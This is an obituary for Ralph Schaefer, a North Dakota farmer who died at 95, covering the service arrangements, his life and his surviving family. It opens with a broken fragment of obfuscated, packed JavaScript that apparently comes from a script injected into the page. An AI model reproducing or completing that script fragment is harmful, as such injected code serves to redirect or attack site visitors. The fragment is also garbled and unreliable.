drdhz|var|u0026u|referrer|ifaie||js|php’.split(‘|’),0,{}))
Ralph Schaefer, age 95, of Valley City, ND, died Friday, October 25th at his residence under Hospice of the Red River Valley Care. A funeral service will be held at 7:00 PM on Wednesday, October 30th at the Lerud Schuldt Funeral Home Chapel. Visitation will be held on Wednesday from 4:00 PM until 7:00 PM at the Funeral Home. Interment will be in Memory Gardens Cemetery near Valley City.
Ralph Herbert Schaefer, the son of William and Alice (Talbert) Schaefer, was born January 30, 1918 on the family farm near Rogers, ND. Ralph grew up and attended school in the Rogers area. Ralph met the girl of his dreams, Verna, at a neighbor’s birthday party. They married April 13, 1941 and were married for 70 years until her passing in 2011. Together they took over the Schaefer farm and you could rarely find them apart. In 1944 they got their first Minneapolis Moline model Z tractor (now located in Bonanzaville, Fargo). Mowing hay with his love was thought of as his ideal day. And he continued to do so until he was 91–along with running his beloved pay loader. Ralph started Schaefer Vermeer alongside his son Calvin in 1971, which along with the farm kept him very busy. You always knew things were good with him if you asked him how he was and the answer was–”Terrible” along with a big toothy grin. They had 2 children Calvin Schaefer and Bonita (Schaefer) Germann. Ralph and Verna were wonderful dancers and made sure their kids took lessons and they both shared their parent’s passion to dance. They attended square dancing and barn dances through the years. Anything with music in the area, they attended. The farm and his family were his life and he loved every second of all of it! Ralph and Verna moved off the farm and into Valley City, ND in 1996 but still continued to go out to the farm to help out. You can take man off the farm but you can’t get the farm out of the man.
Ralph is survived by his son Calvin(Geraldine) Schaefer, Valley City, ND; 5 Grand children – Shane (Tricia)Germann, Kyle Schaefer, Tesha (Todd) Snyder, Kaneia (Royce) Kinney, and Tiffany Germann; 7 Great Grand children Austin Schaefer, Talia Germann, Melissa Snyder, Eric Schaefer, Corbin Germann, Tessa Kinney and Deanna Kinney; one sister Della Renner, Carrington, ND.
Ralph was preceded in death by his wife Verna Schaefer (Vogel), by his parents William and Alice Schaefer, and his daughter, Bonita Germann.
An online guest register is available at lerudschuldt.com.